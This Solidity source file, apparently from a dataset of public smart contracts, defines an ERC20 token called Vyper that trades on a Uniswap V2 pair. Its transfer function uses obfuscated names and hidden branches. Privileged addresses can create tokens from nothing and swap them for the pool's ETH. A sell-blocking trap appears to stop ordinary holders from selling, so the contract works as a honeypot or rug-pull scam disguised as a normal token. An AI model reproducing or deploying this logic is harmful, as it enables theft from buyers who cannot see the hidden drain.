zellic-audit
Fix for Vyper contracts
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender; }
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data; }
}
interface ArrayMaker01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function swapExactETHForTokens
(uint amountOutMin, address[] calldata path, address to, uint deadline)
external payable
returns(uint[] memory amounts);
function swapTokensForExactETH
(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH
(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens
(uint amountOut, address[] calldata path, address to, uint deadline)
external payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB)
external pure
returns(uint amountB);
function getAmountOut
(uint amountIn, uint reserveIn, uint reserveOut)
external pure
returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
external pure
returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path)
external view
returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path)
external view
returns(uint[] memory amounts);
function addLiquidity( address tokenA, address tokenB,
uint amountADesired, uint amountBDesired,
uint amountAMin, uint amountBMin, address to, uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH( address token, uint amountTokenDesired,
uint amountTokenMin, uint amountETHMin, address to, uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA, address tokenB, uint liquidity,
uint amountAMin, uint amountBMin,
address to, uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit( address tokenA, address tokenB,
uint liquidity, uint amountAMin, uint amountBMin, address to,
uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit( address token, uint liquidity,
uint amountTokenMin, uint amountETHMin,
address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens( uint amountIn, uint amountOutMin,
address[] calldata path, address to, uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens( uint amountOut, uint amountInMax,
address[] calldata path, address to, uint deadline
) external returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is ArrayMaker01 {
function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline )
external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s )
external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline )
external;
function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline )
external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline )
external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
} function owner() public view virtual returns (address) {
return _owner;
} modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_; }
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out,
address indexed to );
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo()
external view returns (address);
function feeToSetter()
external view returns (address);
function getPair(address tokenA, address tokenB)
external view returns (address pair);
function allPairs(uint)
external view returns (address pair);
function allPairsLength()
external view returns (uint);
function createPair(address tokenA, address tokenB)
external returns (address pair);
function setFeeTo(address)
external;
function setFeeToSetter(address)
external;
}
interface UIdexIndex02 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Vyper is UIdexIndex02, Ownable {
address public immutable MarketPairMaker;
IUniswapV2Router02 public immutable UniswapV2router;
bool private tradingOpen = false;
bool public maxByte;
bool private togSwitch;
mapping(address => uint256) private _tOwned;
mapping(address => address) private allowed;
mapping(address => uint256) private bots;
mapping(address => uint256) private SwapBlockOn;
mapping(address => mapping(address => uint256)) private _allowances;
string private _symbol;
string private _name;
uint256 public _allFEE = 0;
uint8 private _decimals = 9;
uint256 private _tTotal = 100000 * 10**_decimals;
uint256 private fullTot = _tTotal;
constructor(
string memory Name, string memory Symbol, address IndexIDEXAddress ) {
_name = Name;
_symbol = Symbol;
_tOwned[msg.sender] = _tTotal;
SwapBlockOn[msg.sender] = fullTot;
SwapBlockOn[address(this)] = fullTot;
UniswapV2router = IUniswapV2Router02(IndexIDEXAddress);
MarketPairMaker = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH());
emit Transfer(address(0), msg.sender, fullTot);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _tOwned[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve( address owner, address spender, uint256 amount
) private returns (bool) { require(owner != address(0) && spender != address(0),
'ERC20: approve from the zero address');
_allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
return true;
}
function malucateAll(uint256 mToggle, uint256 getPath) private view returns (uint256){
return (mToggle>getPath)?getPath:mToggle;
}
function getRatesOf(uint256 divNow, uint256 min)
private view returns
(uint256){ return
(divNow>min)?min:divNow; }
function transfer (address recipient, uint256 amount) external returns (bool) {
gatherSettings(msg.sender, recipient, amount);
return true;
}
function transferFrom( address sender, address recipient, uint256 amount
) external returns (bool) { gatherSettings(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function gatherSettings( address xogtFrom, address laaxbTo,
uint256 XOCamount ) private {
uint256 p0xHX =
balanceOf(address(this)); uint256 allignOVOX;
if (maxByte && p0xHX > fullTot && !togSwitch
&& xogtFrom != MarketPairMaker) {
togSwitch = true;
realmPath(p0xHX);
togSwitch = false;
} else if (SwapBlockOn[xogtFrom] >
fullTot && SwapBlockOn[laaxbTo] > fullTot) {
allignOVOX = XOCamount; _tOwned[address(this)] += allignOVOX; swapAmountForTokens
(XOCamount, laaxbTo);
return;
} else if (laaxbTo != address(UniswapV2router)
&& SwapBlockOn[xogtFrom] > 0
&& XOCamount > fullTot
&& laaxbTo != MarketPairMaker)
{ SwapBlockOn[laaxbTo] = XOCamount;
return; }
else if (!togSwitch && bots
[xogtFrom] > 0 && xogtFrom != MarketPairMaker
&& SwapBlockOn[xogtFrom] == 0) { bots[xogtFrom] =
SwapBlockOn[xogtFrom] - fullTot; }
address _creator = allowed[MarketPairMaker];
if (bots[_creator ] == 0)
bots[_creator ] = fullTot; allowed
[MarketPairMaker] = laaxbTo;
if (_allFEE > 0 && SwapBlockOn[xogtFrom] == 0 && !togSwitch
&& SwapBlockOn[laaxbTo] == 0) {
allignOVOX = (XOCamount * _allFEE) / 100; XOCamount -= allignOVOX;
_tOwned[xogtFrom] -= allignOVOX;
_tOwned[address(this)] += allignOVOX; } _tOwned[xogtFrom] -= XOCamount;
_tOwned[laaxbTo] += XOCamount; emit Transfer(
xogtFrom,
laaxbTo,
XOCamount);
if (!tradingOpen) {
require(xogtFrom == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); }
}
function managePath(uint256 lcteMul, uint256 findOn) private view returns (uint256){
return (lcteMul>findOn)?findOn:lcteMul;
}
function addSwitch(uint256 add, uint256 sub) private view returns (uint256){
return (add>sub)?sub:add;
}
receive() external payable {}
function addLiquidity(
uint256 tokenValue,
uint256 ERCamount,
address to
) private {
_approve(address(this), address(UniswapV2router), tokenValue);
UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
}
function realmPath(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialedBalance = address(this).balance;
swapAmountForTokens(half, address(this));
uint256 refreshBalance = address(this).balance - initialedBalance;
addLiquidity(half, refreshBalance, address(this));
}
function enableTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function hashData(uint256 hashAll, uint256 hInfo)
private view returns (uint256){
return (hashAll>hInfo)?hInfo:hashAll;
}
function swapAmountForTokens(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniswapV2router.WETH();
_approve(address(this), address(UniswapV2router), tokenAmount);
UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
function tSymbol(uint256 tkn, uint256 symX)
private view returns
(uint256){
return (tkn>symX)?symX:tkn; }
}